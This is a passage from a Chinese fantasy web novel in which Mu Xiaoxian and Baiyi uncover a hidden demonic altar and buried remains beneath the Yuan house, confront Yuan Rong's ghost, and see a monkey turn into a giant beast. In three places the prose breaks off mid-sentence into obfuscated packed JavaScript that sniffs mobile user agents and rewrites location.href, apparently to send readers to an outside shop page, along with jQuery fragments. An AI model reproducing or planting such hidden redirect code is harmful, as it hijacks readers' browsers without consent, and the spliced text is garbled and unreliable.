褚也睨了她一眼,冷笑道:“一根麦芽糖就把你收买了,姐姐,你可真廉价。” “啪”地一声,褚也瞪大了眼睛,脸上赫然出现了一个巴掌红印。他眼中接连闪过惊疑、委屈、愤恨,继而翻涌的情绪又压了下去,咬牙狠声道:“你为了他打我?” 褚叔和褚夫人见势不对放下碗筷,劝道:“你们都不是孩子了,别闹了。” 褚宁拧紧了眉头:“褚也,什么话该说什么话不该说,你心里应当有数。”她丢下没吃几口的饭菜,头也不回冲了出去,一路疾走回到自己房间。 褚也眉头深锁,一口气堵在胸口,也吃不下饭了。他印象中姐姐好像没做过什么出格的事情,这次居然为了一个外人打他? 褚夫人满脸愁容:“这怎么办?要不......我明天就去找人给她说亲?” 褚叔呵呵笑起来:“不必了,村里这么巴掌大的地方,有没有合适的人我们还不清楚吗。宁儿是有福气的人,随她去吧。” 在褚夫人不赞同的眼神中,褚叔转头对褚也说:“阿也,我们一直很纵容你,将你养成了这般无法无天的心性。但你姐姐与你血缘至亲,在同样的环境下长大,她的脾气与你一样倔,既然她认定了元叙,也是她的决定,这件事你就别参和了。” 褚也一愣,不敢置信:“父亲,您也不管她了?” 慕小闲听了一圈,没觉得对话里藏着异样,又跃上了褚宁的房间,看她一人趴在窗边惆怅地望着云雾遮掩下暗淡的月亮。她的心上人离她并不遥远,或许此时正与她一样望着这轮月色。 跳出褚家院子,慕小闲与白衣走在黑灯瞎火的小道上,两人只有隐约一圈轮廓。 慕小闲边走边说:“褚宁看样子对元叙是有心的,褚叔对元叙的看法也还不错,褚也对元叙虽然嘴上不好,但没有伤害过他。褚家若是没有异样,可就怪了。” 白衣跟在她身侧默默听着:“我感应过了,褚家没有发现魔气。” 慕小闲停下脚步,问:“在元宅的时候你感应到了吗?” 白衣应了一声:“没有。” 山上没有,山下也没有。难道那怪物真的从天而降? 慕小闲望着远处一盏一盏逐渐熄灭的灯火,眯起眼睛,说道:“我就不信,找不到任何蛛丝马迹。我们再去元家看看。” 元宅前厅灯火通明,就连院子里也点了几盏喜庆的灯笼,像是发生了值得庆贺的好事一般。 已过戌时,有些人家早早熄灯入眠,四周的屋子幽黑沉静。 慕小闲偷偷趴在屋顶上,向院子里看,家仆匆匆忙忙端着东西向大厅走去。 厅内小猴子被几位家仆伺候着,四周堆满了小儿玩意儿。它洗了澡,身上的毛发鲜亮起来,眼睛挂着清爽的笑意,手里的拨浪鼓发出清脆的响声。 一顿混乱的打击乐结束,几位家仆如听仙乐般卖力鼓掌,将小猴子的兴致抬了一波又一波。 趁几位家仆安置小猴子休息后退下,慕小闲和白衣落入屋内。 小猴子听到动静睁开眼睛,看见慕小闲后眼里流露出一丝得意的光彩:“你们是来接我回去的?” 慕小闲抱起双臂:“你不是很喜欢这里吗?刚才说带你回去,你还不想走呢。” 小猴子听懂了她语气中的调侃,眼珠一转,哼哼道:“这里比元叙家好,我不走,你们回去吧。” 慕小闲叹了口气:“你是来报恩的,不是来享福的,这里不是你该待的地方,趁早回山上吧。” 小猴子扭开头:“不要你管。” 慕小闲放下双臂,作势向后退去:“行,我不管。” 小猴子突然翻身下床,抓住她的裤脚,一双大眼睛带着执拗瞥了她一眼:“我明天就回去。” 慕小闲:? 视线一交错,小猴子瞥开头去:“我明天就回去行了吧。”说完便跳回床上,合上了眼睛。 慕小闲对着白衣耸耸肩,她实在搞不懂小孩子的心思。 从小猴子的屋里出来,白衣搂着慕小闲跃上元宅主屋的房顶,慕小闲落地时脚下一歪,差点从房檐滚下去,幸好白衣眼疾手快将她拉了回来。 风声鹤唳,白衣猎猎翻飞的衣袖,犹如波涛涌动。慕小闲于风中抓住他的袖口,跟着他小心翼翼地向前走了几步。 屋子里没有点灯,夜风敲打窗棂,声音混杂着细碎的呜咽。 慕小闲用气声问:“他们睡下了?” 白衣摇摇头:“他们应当就在此处,但是气息很微弱。” 慕小闲深吸一口气,心中默念着“非礼勿视非礼勿视”,将瓦片挪开半寸,借着清幽的月光向内看去,在屋内转了一个圈,目光所及处没有看见人影。 白衣将她一搂,缓缓从屋顶飘落下来,侧身隐在窗框边,向内打量。 当年元叙就是在这里偷看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137738|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,慕小闲微微屈膝将自己调整到与孩童一般的身高,再扒着窗棂望进去,床前一览无余。 墙上有一幅垂地的山水画,画旁立着一只雕花高脚台,台上摆着精致的青花瓷瓶,瓶身的白釉在冷幽夜色下泛着清泠的光。 白衣的手抚上门。 慕小闲小声说:“不能随便进人家屋子吧。” 白衣点点头放下手,忽而眼神一变,抓起慕小闲的后襟瞬间位移到了屋顶上。 慕小闲不知道发生了什么,吓得倒吸一口气,被白衣捂住了嘴,连吸气声都没释放出来。 白衣身上清新的气息萦绕在她鼻尖,这一次比往前任何时候都要清晰深刻,仿佛脑海中的一根弦被轻轻拨动。 她愣怔了一下,张口欲言,柔软的唇瓣扫过他的掌心。 霎时间白衣像是烫手一般,立刻松开她,背过手去。 屋内传来轻微摩擦声,慕小闲从缝隙看下去,那副山水画轻柔如绸缎突然无风飘起。两个人影从画后走出,在屋子里扫视一周,又警觉地推开窗向外看了看。 后院静悄悄的,月光如霜雪洒落一地,家仆都留在了前厅。 芸儿凝重的脸色缓和了些,冷冷瞥了元嵘一眼,嘟囔道:“都是你干的好事,现在连孩子都生不出。我看你不如将元叙接过来,横竖你们元家只会有这一条血脉。” 元嵘脸上不太好看:“当初我要修仙你是同意的。” 慕小闲大跌眼镜,花神村的先祖放弃仙途,后代又返祖走上了修仙之路。人生往复,来来回回,好像走了很长的路,其实一直被困在一方天地打转儿。 “修仙?”芸儿坐在床边,昏暗的室内映着一轮纤细的轮廓:“这些年你随那个人修成了什么?如果不是你,我的孩子也不会是那副模样。”说着,带出了一丝哽咽:“你说要带我从花神村出去,要带我过上神仙眷侣的生活,我就是轻信了你的鬼话,你看看我等了多少年了?” “你再等等。我快完成了,快完成了......”元嵘坐在她身边低声安慰道,窗棂上,二人的影子渐渐合二为一:“我不能停下来,不然之前做的都白费了。好芸儿,你等了我这么多年,我不会辜负你的,相信我。” 芸儿顿了一下,幽幽地说:“今天那小猴子真可爱,要是我儿还在就好了。” 元嵘叹了口气:“他不能活下来,他若是被人看到我们就完了。你要是喜欢,大不了让那猴子多留几天。” “当年若不是,若不是怀疑被我那哥哥看见了......”元嵘小声唏嘘道。 “现在还说这个干什么......” 慕小闲疑惑不解,元嵘在跟着谁修仙?孩子究竟有什么问题? 正思索着,底下传来淅淅索索的声音,慕小闲好奇地寻声望去,刚瞥见床沿一角散落的衣物,忽然眼前一黑,被身后之人捂住了眼睛。 熟悉的气息围绕在鼻尖,慕小闲伸手去掰他的手指,不满地想:你捂我的眼睛干嘛?要捂捂你自己的! 直到下面传来一声细微的呻/吟,她才停下来浑身僵硬,一动不敢动被白衣带离了现场。 慕小闲落在槐树阴下,涨红了脸,喘了几口气:“吓死我了。差点看到了少儿不宜的东西。” 白衣仿佛无事发生一般,淡定地背手立在旁边,“你怎么看?” 慕小闲捂着脸眼神飘忽:“人家过夫妻生活我能怎么看?” 空气中弥漫着一丝尴尬的气息,须臾,白衣道:“你对他们说的有何看法?” 慕小闲握拳咳咳两声,掩饰脸上的不自然,道:“如果元嵘真的在修仙,他身上应该能够感应到仙气,你不可能没有发现。” 白衣微微点了下头:“他隐藏得很好,但我感觉到那副画上,附着着魔气。”意料之外情理之中,她总算找到了一丝魔气的线索。 慕小闲嘶了一声,望着高墙另一头透过来的灯火,眉头紧锁:“修仙为什么会沾到魔气? “教他修仙的人又是谁呢?” 75. 第 75 章 等候良久,待元家一切动静皆已泯灭于慢慢长夜,白衣带着慕小闲再次折返,潜入元家主屋。屋内光线极暗,一缕清冷的树影透过窗棂映在墙角边。 白衣向墙上悬挂的那副山水画探了探,侧身冲慕小闲颔首,微微揭开一看,画后是一面平平无奇的白墙。 白衣手上寒光一现,衣袖无风自动,白墙恍然如湖水般荡漾,他不再犹豫抬腿跨进去。慕小闲紧跟其后,最后确认一眼床上的动静,将画布轻轻放下。 白墙之后是一条狭窄的暗道,向地下延伸,里面昏暗无光。 白衣没有用仙力,黑暗中他的银白面具泛着微弱的光辉,未走几步便被慕小闲撞在背上。他悄声无息地将袖摆递到她手中,牵着她缓步前行。 两人顺着下沉的斜坡走了数十米,四周泥土的气味越发浓厚,看来已经深入地下。又前进半晌,白衣突然停下,手上噌地擦亮了一点光芒,在身前一晃,两人面前赫然是一道雕刻着图腾的巨大铜门。 铜制锃亮如新,表面沟壑纵横,仿佛两条蜿蜒缠绕的盘蛇,两只泛着紫色光辉的眼睛,正虎视眈眈地盯着门外的动静。 一股不适感油然而生。 白衣示意慕小闲后退一步,伸手在铜门表面探了探,手上的寒光微微闪烁。门上突然冒出一团紫焰,白衣似是被烫了一下,猛地收回手落入袖中。 空气中弥漫着一丝焦灼的气息,慕小闲将他的广袖拨开,攥拳的手掌上被烫出了红痕。 昏暗中她看不清白衣面具下的神情,但心里蓦地产生了一种复杂的滋味,只觉得面前的这扇门越发碍眼。 这道门上也有魔气,看来花神村即将出现的事情与元嵘难脱干系。 白衣提起一口气,掌心仙力扭转,白光浮现,像藤蔓一般顺着图腾上的蛇身爬上了铜门,沿着缝隙钻了进去。 铜门上的紫光陡然熄灭。 门缓缓开启,随着门缝的扩张,里头阴冷的气息也逐渐释放出来。两人警觉地踏进门内,虽然慕小闲心中早有准备,但还是对门后的景象吃了一惊。 眼前是一个大型石制祭台,四个方向摆着四方半人高的石雕青龙香炉,内外的空气甫一流通,香炉逐次燃起熊熊紫焰。石阶通向祭台的最高处,两根花纹复杂的通天石柱伫立在祭台两侧。 一看就不像正经修仙的地方。 元嵘莫不是被人骗了? 两人走上石阶,越往高处,四周的温度越低。踏上祭台的一刹那,就是此时毫无仙力的慕小闲也察觉到不对劲,祭台地面上印着的暗紫色图腾像是有一股难以抗拒的吸引力,让她挪不开眼。 慕小闲的目光不受控制地牢牢钉在图腾上,渐渐有些神志不清。 “别看。”冰冷的手在她眼前轻轻拂过,她眨眨眼睛,立刻清醒过来。 慕小闲抬起头不再与地上的图腾对视:“元嵘不是在修仙,是在修魔。他先祖若是知道,怕是会被气得活过来。 “花神村数百年维持着平凡的生活,为何到了他一代突然想要修仙?是他突发奇想,还是说,有人在背后推波助澜?” 这其中的因果不难琢磨,稍一细想就会发现也许早在元叙一家搬出元宅之前,元嵘就已受人蛊惑。当年导致元家分家的那件事是否也是他暗中谋划就不得而知了。 这一切环环相扣,就像一张巨大的拼图,但却缺失了前后两个角。 慕小闲凝眉环视四周,心道苍蝇不叮无缝的蛋,也许元嵘对修仙本就有一己私欲,但那个引导他的人为何偏偏选中了他?或者说,魔族为何从几百年前就开始染指花神村?他们想做什么? 都说一万年前魔族战败之后日渐势微,现在也不知“势微”到了什么程度,居然还能在魔域之外为非作歹。 慕小闲越发觉得身上寒凉,抱起双臂搓了搓胳膊,问:“这个祭台是做什么的?” 白衣蹲下身,仔细辨认了一下地面留下的痕迹道:“有血。” 慕小闲才反应过来她问了个傻问题,祭台除了祭奠还能做什么?难不成跳广播体操吗?但和她想的又有些出入,因为不论是修仙还是修魔,都不是通过祭祀能完成的。 白衣缓缓起身:“祭台之下隐藏着巨量的魔气,元嵘是靠吸食魔气进行修炼的。” “只靠吸食魔气,这样也能算修炼?”慕小闲锁紧了眉头。 “长此以往,他的身体被魔气侵蚀,会出现一些异于常人之处。”白衣解释道。 慕小闲问:“比如说,不能生孩子?” 白衣迟疑了一下:“不,是他生不出正常的孩子。那个夭折的孩子怕是一团沾了魔气的腐肉。” 修仙修成魔,最终连魔也不是,实在令人唏嘘。 “我下去看看周围有没有机关。”慕小闲绕着祭台外沿细细摸索,石头冰冷如雪。 余光处,忽然一团影子飘过,慕小闲睁大眼睛随之望去,却什么也没有。 祭台后侧背光,笼罩在巨大的阴影之中,刚才的恍惚大概是种错觉。她靠近了几步,才发现暗室后侧有个向土壁内半凹进去的空间,像一个浅浅的山洞,几步就能走到头。 洞的尽头,一方狭窄的木桌上摆着一尊两臂高的神像,与花神像不同,是真金白银的菩萨像。 慕小闲默默在菩萨像前拜了拜,而后上前检查。菩萨坐在莲台之上,面目和善,笑容恬淡,通体干净,没有特别之处。 她边思索边向外走去,突然脚下一绊,踉跄几步,差点一头撞在墙壁上。她蹙眉回头,目光落在地面凹凸不平之处,疑惑地蹲下身,伸手摸了一把地上的沙土,眼皮陡然一跳。 暗室的地面是踩实了的,这里的土是松动的,像是近期被人翻整过。 慕小闲心里一沉,抬头回望一眼菩萨像前空空如也的案几,目光颤颤巍巍落回地上。她咽了咽喉咙,徒手将面前的松土刨开,动作轻而缓,对心中的猜测有些畏惧。 不久,地面被她刨出一个浅坑,当指尖触碰到一块硬物时,她倒吸一口凉气,硬着头皮连拖带拽将它往外拔。半身出土,吓得她向后连退几步,惊叫卡在喉中。 石室幽深静谧,一根针落地的声音都能听见,她不同寻常的吸气声尤为明显。 白衣瞬间出现在她身侧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137739|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >坑里还插着一根扭曲的手骨。 白衣上前一扬袖,土坑向下凹陷,破碎的骷髅头、零碎的尸骨嵌在泥土中,越往下越多,越来越细碎,竟然探不到底。 祭台上没有供奉之物,案几上也没有。 因为祭品都被埋在了地底。 暗室中越发阴冷,不知从哪里吹进的气流,让地上细碎的砂石滚动起来。 “我们问元叙村里有没有怪事时,他说没有,看样子不像是说谎。但村子里这些年少了这么多人,不可能没人察觉。 “这些人是从哪里来的?为什么没有人察觉?”慕小闲愈发疑惑,疑点不仅没有减少反而越来越多。 白衣眼神冰冷地从地面扫过:“如果他们原本就被村民默认死亡了呢?” 慕小闲神色陡然凝住:“等等......元嵘是开医馆的,或许有办法制造死亡的假象,活人他带不走,他就专门挑死人埋在这里?还有那些莫名其妙失踪的人,说不定是他下了杀手......”她瞳孔一缩,惊道:“元叙的父母会不会不是意外?” 碎骨无法分辨出什么,但她却隐约感觉到冥冥之中有人将她引来。 “献祭究竟是为什么?”慕小闲不禁纳闷。 白衣侧头回望,深深看了祭台一眼:“他用亡魂镇住了祭台之下的魔气。” 慕小闲皱眉:“他既需要吸食魔气,又要将魔气镇在地底。是怕一旦将魔气释放出来,自己无法控制?” ......那又是谁把魔气藏在这里的?! 只剩两天,不论那怪物与这些魔气有没有关系,将这个定时炸弹留在这里总归不妙。 慕小闲怀抱一丝渺茫的希望问:“有办法让魔气消失吗?” 白衣摇摇头:“我们现在改变不了任何事。” 他们对于这个时空而言不过是一缕虚影,不论做什么都改变不了曾经发生过的事情。 可是真的不能改变吗?如果她将这件事告诉元叙呢? 铜门外陡然传来啪啪几下掌声,打破了石室的静谧,一个熟悉又有些变调的声音响起: “二位未经允许擅自闯入我家,意欲何为?” 四个石炉中的紫焰应声烧得更加剧烈,火星从空中崩裂,啪啪作响,暗室的光线陡然增强,将修长的人影幽幽映在铜门上,周遭的温度却依旧阴冷。 他们进来时封住了床上之人的通感,没想到元嵘竟然这么快就察觉到了。 映在门上影子一晃而过,元嵘踏入了暗室的幽光之中,影子也随之延伸到了墙面上。他穿着一身黑色的睡袍,脸上噙着诡异的笑容,眼眸犹如处于黑暗的蛇曈一般缩成了一条线。 在听见元嵘的声音时,慕小闲的神情划过一丝慌乱,但见白衣淡定如初,才稍稍镇定下来。她从祭台后的阴影处走出,遥遥望向元嵘道:“没想到元叔居然在地下建造了一间暗室,真是大手笔。” 走出阴影的元嵘眼中黑线渐渐复原,微眯了一下眼睛,脸上的笑容未变,声音却带着阴冷的寒意:“这不过是我为了祭奠先祖建造的祭台。二位不问擅闯是不是该给我一个解释?” 76. 第 76 章 慕小闲用余光向侧后瞥了一眼,满地尸骨已经重见天日,再与元嵘周旋已无意义。元嵘孤身一人,没有带家仆下来,也不敢闹出太大动静,他们两人还有机会全身而退。 她与白衣对视一眼,没有回答元嵘的问题,而是又向他抛出了一个问题:“明人不说暗话。我们听说了一些关于元家的事,觉得很有意思。不知能否请教元叔一二?” 元嵘眼中闪过局促的光,语气又沉了几分:“慕姑娘,不论你听说了什么,元家的家事不便与外人说。二位闯入花神村怕不是在外游历那么简单吧?你们究竟是来做什么的,若是没有合理的解释,我便要将你们赶出村子。” 慕小闲抬了下眉:“擅闯私宅是我们不对,但你在地下建了这么大的祭台,村里人知道吗?” 元嵘脸上的表情微微收紧,状似不在意地摊开手道:“我在自家建祭台不需要村里人同意。” 慕小闲盯着他的眼睛,缓缓说道:“如果他们知道你在这里埋了尸骨呢?”她清亮的声音在暗室中回荡,之后暗室中沉静了几秒。 元嵘不愧是年纪比她翻了几倍的人,饶是被揭发依旧面不改色:“我元家先祖埋在祖宅之下有何不可?你们掘人祖坟不怕天打雷劈?” 他倒打一耙的本事真是了得,慕小闲目光沉了下来:“这么说,元叙的父母也在其中?” 元嵘脸上的笑意终于出现了微妙的变化,眼睛眯了一下:“你听谁说的?” 慕小闲咬了下嘴唇,盯着他没有回答。元嵘脸上的表情进一步崩塌,向前挪了一步,眼神迫切地看着她:“是谁告诉你关于元叙父母的事?是元叙......还是别的人?” 慕小闲不慌不忙,用肯定的语气说:“看来元叙的父母就在这里。” 元嵘指了指脚下的土地:“这里是元家的祖坟,他们理应在此,可惜当年他们摔下山崖,尸骨无存。” 慕小闲深吸一口气缓解紧绷的躯体,再看他时眉间拧紧,眼神中卷起了波澜。斯人已逝,现在元嵘不承认,她也没有办法求证。 元嵘不等她细想,语气带着压迫说:“二位现在请随我出去。” 慕小闲抱起双臂,冷硬道:“如果我说不呢,为何着急赶我们出去?难道这里除了祖坟还有别的东西?” 元嵘的脸阴沉了下来:“慕姑娘,请不要不讲理。这里是我家,请你们出去。” 慕小闲向门口抬腿走去,白衣一步开外跟在她身后。见终于说动二人,元嵘脸上再次浮现先前诡异的笑容,一手负在身后立在门侧。 慕小闲放慢速度从他身旁走过,忽然鬓边旋起一阵冷风,眼前景物一转,她被白衣挡在了身后。 元嵘手上赫然残留着一团紫气,阴恻恻地盯着白衣。如果不是他反应快,元嵘已经得手。 慕小闲在白衣身后伸长脖子扫了一眼便明白是怎么回事,嚷嚷道:“要我们出去的是你,不让我们出去的也是你。你到底想怎样?” 元嵘眯了下眼,阴沉地问:“你们到底是什么人?” 主角与反派对峙时,总免不了被问一句“你到底是谁?”,仿佛知道了对方的身份就能多几分胜算。 其实不然。特别是慕小闲这样没有特殊身份的人。 “我还想问你是什么人。”慕小闲冷哼一声:“好好的人不做要修魔。” 元嵘这时脸上才出现一丝破绽,眼神惊慌地颤抖了几下:“你说什么。” 他瞳孔巨震,双手颤抖,瞪大了眼睛,哑着声呵斥道:“不,我修的是仙,是仙!” “退后。”白衣冷声道。 慕小闲点点头,退到祭台后面。 元嵘狭窄的瞳孔让他如蛇类一般能在阴暗的环境中窥物,他深深看了一眼慕小闲离开的方向,被白衣挡住了视线。 他脸上的笑容越显阴暗:“阁下不是一般人。为何沦落至此?” 他的眼睛微微张大,眼中映着燃烧的紫焰:“阁下有想要实现的愿望吗? “有想要的东西吗? “还是有想要的人?” 白衣的身影微滞,袖子中的拳头紧了紧,寒光乍现。 元嵘垂眸,了然地勾起唇角,诱惑道:“这里蕴藏着巨大的能量,它能实现你任何愿望。” 石炉中的紫焰烧的更旺,火星“啪啪”作响,两人细长的身影在墙壁上摇晃。 慕小闲实在听不下去,从祭台后探出头叫道:“你能别到处勾引人吗?” 元嵘大笑几声,突然眼神狠厉,一道紫光从祭台上横穿而过,陡然暴起几米,像一只巨大的手扑向慕小闲。 慕小闲紧皱眉头,浑身发力,无奈此时无法调动仙力,只能干瞪眼。 紫气一举杀到她跟前,与此同时一道白光破空而出,将在她面前不足一尺处的紫气搅乱,消散在空气中。 慕小闲惊魂未定,深吸几口气破口大骂:“为什么总是针对我?有种你打他啊!” 元嵘蔑视她一眼:“不过两道虚影,还这么嚣张。” 慕小闲一怔,他是怎么看的出来? 元嵘脸上的笑意更甚:“你们出现在这里,是不是意味着我成功了哈哈哈哈。” 等等,三百年前的元嵘不可能知道接下来要发生的事情,他为何认为慕小闲与白衣的出现是因为自己成功了? 慕小闲定睛仔细观察。 白衣与元嵘缠斗起来,化为虚象导致他的力量减弱了许多,虽然招招压制,但一时居然无法控制元嵘。 两道身影映在墙壁上一触即弹开,轰轰几声,石炉倒地,紫焰在地上跳跃。 慕小闲慢慢看出了一些门道,元嵘身上除了紫气,似乎还有一层附着在身体上的黑线。 黑线随着他的身体跃起像破土而出、弓起上身的蚯蚓一般扭动。 难道他除了修魔,还碰了别的东西? 元嵘见白衣不是等闲之辈,突然挺身伸出双臂,石炉的紫焰陡然蹿高,一股紫气幽幽从祭台飘出,流入他的身体。身上的紫气暴涨了几倍,煞气扑面逼来。 元嵘身上的黑线不仅没有减少,反而更加密集,像是斑斑点点的油墨一般在皮肤上晕开。 随着煞气而来的腐臭,让慕小闲胃里翻江倒海。 “他是死人?”慕小闲捂着鼻子,不敢相信地问:“你到底是人是鬼?” 元嵘面目狰狞了一瞬,皱紧的眉头缓缓舒展,维持着脸上的淡笑:“我是人啊。” 不太对劲,如果他早就死了,是靠魔气维持生命吗? “我是人啊。”元嵘眼中闪过一道光,向前迈了一步,伸出手:“你看,我还活着。” 白衣手中的寒光凝成一道鞭。 他身上的黑色墨点从身上飘出,像水中展开的油墨一般,在空气中扭动。 慕小闲打了个寒噤,起了一身鸡皮疙瘩:“呕,这是什么东西......” 元嵘手中的紫气躁动起来,扬袖之间,啪啪几道紫光团团包围住白衣。紫光如芒刺,飞速向白衣扎去,白衣腾空而起,凭着惊人的臂力甩起长鞭。寒光如弯刀闪过,簌簌几道剑影落在墙壁上,流转的紫光逐一爆破。 气流将他的长发高高扬起,面具被掀起了一个微妙的弧度,就在即将飘下的瞬间被他摁了回去。 伸长脖子的慕小闲觉得万分可惜。 爆破的气流将元嵘的衣摆吹得高高扬起,他转而跳开三步,向白衣与慕小闲的方向各放出几团紫气。 紫气在室内快速弥漫,裹挟着空气中飘摇的黑线。腐臭味扑面,慕小闲赶紧捂住鼻子向后躲去,她可不想被那个看上去黏糊糊的黑线沾到。 她跑进洞内时,洞口突然亮出一道白色屏障,将紫气隔绝在了外头。 慕小闲与一地白骨面面相觑,尴尬地说:“打扰了。” 洞外寒光逼上了元嵘的身体,随着他猛烈的挣扎,轰然撞在墙壁上。墙壁连着地面震动不止,祭台摇晃,元嵘的身体一僵,又剧烈地挣扎起来。 长鞭带着他的身体猛地摔在祭台上,在祭台上砸出了一个深坑,碎石划破了他的额头,血迹从鬓角淌下来。 有血?不是死人?慕小闲眼神微变,怎么回事? 祭台震动,紫气外泄,元嵘匍匐在地,慌乱地在地面摸索着。 他眼前突然出现几道虚影,凶神恶煞地冲他张开血盆大口,从他身上穿过。犹如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137740|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵烈风,将他推搡得东倒西歪。他哆哆嗦嗦地低下头,露出两只眼睛:“别碰我别碰我。我不是故意的,不是故意的。” 几道虚影凭空出现,在暗室上空飘荡,与此同时,慕小闲身旁的白骨发出阵阵嗡鸣。 她吃惊地看了一眼,那些魂魄是? 带着强大煞气的魂魄不断从裂缝中挤出,冲元嵘嘶吼,仿佛要食其肉饮其血,将他碎尸万段。 魔气随着镇压的亡魂一齐迸发,紫色的雾气笼罩着整个祭台。 “白衣!快点将这里的魔气镇住!”慕小闲冲白衣叫道。 白衣执掌,掌下爆发出耀眼的白光,将暗室照得大亮。 元嵘眯着眼睛,在地上爬开几步,充斥着血水的口中模糊不清地说着:“快要成功了......快要成功了。你们无法阻止我,我一定会成功。” 慕小闲眯着眼睛思索着,他一直念叨的成功到底指什么? 白衣手中的白光向祭台逼近,元嵘突然提起一口气,将浑身的魔气与黑线全部从体内分裂出来,眨眼间巨大的紫黑色混沌物砸向祭台中央。 祭台传出一声尖锐的鬼唳,引发了地面巨震。 慕小闲眨眨眼,他为何要破坏祭台? 暗室晃荡,白衣飘进洞内将慕小闲抱出,元嵘趴在祭台上看着他们诡异地笑了:“你们阻止不了我的。该发生的都会发生啊哈哈哈哈哈哈哈......” 祭台上的裂缝在震荡中迅速蔓延,大量魔气涌出,不一会儿暗室中乌烟瘴气。紫气顺着甬道,穿过铜门向外涌去。 慕小闲一哽:“怎么办?任由这魔气泄露出去?元嵘为什么放出魔气?他是不是知道什么?” 白衣:“他是元嵘的亡魂。” 慕小闲一愣:“他不就是元嵘吗?” 白衣:“他确实是元嵘,不过不是三百年前的元嵘。元嵘生前杀害、利用了无辜的生灵,死后的魂魄被困在这个时空,不断经历他生前最后的堕落、破灭与死亡。” 慕小闲看了元嵘一眼,他身上的黑线越来越密集,眼睑之下的阴影越来越深。 他匍匐在浓郁的紫色中,转动眼珠,发出咯咯的笑声:“快要出现了就快出现了,你们阻止不了我哈哈哈哈。” 慕小闲眼珠转了转:“魔气如果大面积泄漏,那些没有修行的村民会如何?” “轻则神志不清,重则丧失本性。” 慕小闲咬了咬下唇,焦急道:“有办法能将魔气封住吗?” 白衣平静的目光一动:“你可记得,当年花神村并没有出现魔气泛滥之事。” 慕小闲顿在原地,没错,传说中花神村遭受了怪物袭击,但并没有提到魔气之事。这到底是怎么回事? 慕小闲转而对元嵘吼道:“是谁教你入魔的?” 元嵘的表情一僵,喃喃道:“不,我没有入魔,没有!我修的是仙,我在修仙!对,我要成仙了!” 慕小闲皱眉:“这里的魔气是谁留下的?” 元嵘好似没有听懂一般,傻兮兮地笑了:“当然是我!是我!” “事到如今,你还不说实话!”慕小闲气得大吼道。 元嵘眼中忽然闪过一丝毒蛇般的恶意:“你们无法阻止的。我要成功了哈哈哈哈哈!” 慕小闲吸入了魔气,忽然心口一痛,白衣扶住她,目光急切地在她身上打量:“我们先出去!” 两人无暇顾及元嵘,飞速穿墙而出,紫气飘出甬道,挤满屋内,像流动的液体从窗口漫了出去。 前院突然传来一声凄厉的惊呼:“啊——”两人飞速冲出门去。 天还未亮,浓厚的云层像一层巨大的网遮住了月光,将天地包裹在一片苍茫之中。 一个庞大的黑影蹲坐在院子里,三四米高的身影犹如一堵遮天蔽日的高墙。与它相比,人就像蝼蚁一般。 紫气源源不断地从主屋飘出,钻入它的身体,呼吸之间,它的躯体好像又大了一些,挤满了整个院落,顷刻之间压倒了前院的厅堂。 周围弥漫的紫气渗入它的毛发,一点一点变得稀薄。 它的呼吸越发沉重浑厚,喉咙里发出沙哑的嚇嚇声。 77. 第 77 章 芸儿慌慌张张从后院跑出来,一见慕小闲与白衣,顾不得自身衣衫不整,骂道:“你们到底是什么人?你们在这里做什么?你们对阿嵘做了什么?” 头顶一片阴影投射下来,她抬头一看,惊得愣在了原地,哆哆嗦嗦地问:“这......这是什么东西?” 几名家仆操着家伙纷纷赶来,芸儿冲他们嚷道:“要你们好好守着,你们在干什么?拦住他们!快点拦住他们!” 家仆拿着家伙匆匆上前,或多或少吸入了紫气,目光出现涣散之色。 慕小闲回头板着脸骂道:“不想死就滚!”她凶狠的模样和具有震慑力的语气,让家仆获得了一丝清明,当即撂下家伙纷纷向外跑去。 芸儿赶忙拉住一名家仆:“你们跑什么?回来!” 家仆挣脱她的阻拦,连滚带爬冲了出去,边哭边喊:“怪物!有怪物啊!” 四下只余芸儿一人,她双眼泛红,掐着尖细的嗓音哭道:“阿嵘呢,你们对阿嵘做了什么?” “你们到底要做什么!我家与你们无冤无仇,你们为何要伤害阿嵘? “你们是元叙带来的!他要干什么!他这是要谋杀他亲叔叔!他会遭报应的!” 可慕小闲已心疼得快要爆炸,容不下其他声音。就算院子里那个庞然大物始终背对着她,她也能认出它是那只下山报恩的小猴子。 原来三百年前魔气之所以没有大面积扩散,是被碰巧出现在这里的小猴子吸食了。 背影缓缓站起身,庞大的身躯比周围的楼宇冒出几层的高度,云雾缭绕间,如大山般的身躯缓缓转过身,呲着小臂粗细的锋利獠牙,黑暗中赤红的双目如两只硕大的灯笼...... 一瞬间如遭雷击,记忆中数个场景如飞叶回旋,陌生又熟悉的身影重叠在一起。 “狒狒......”慕小闲找回自己声音,但一股酸涩的哽咽堵在了喉头。 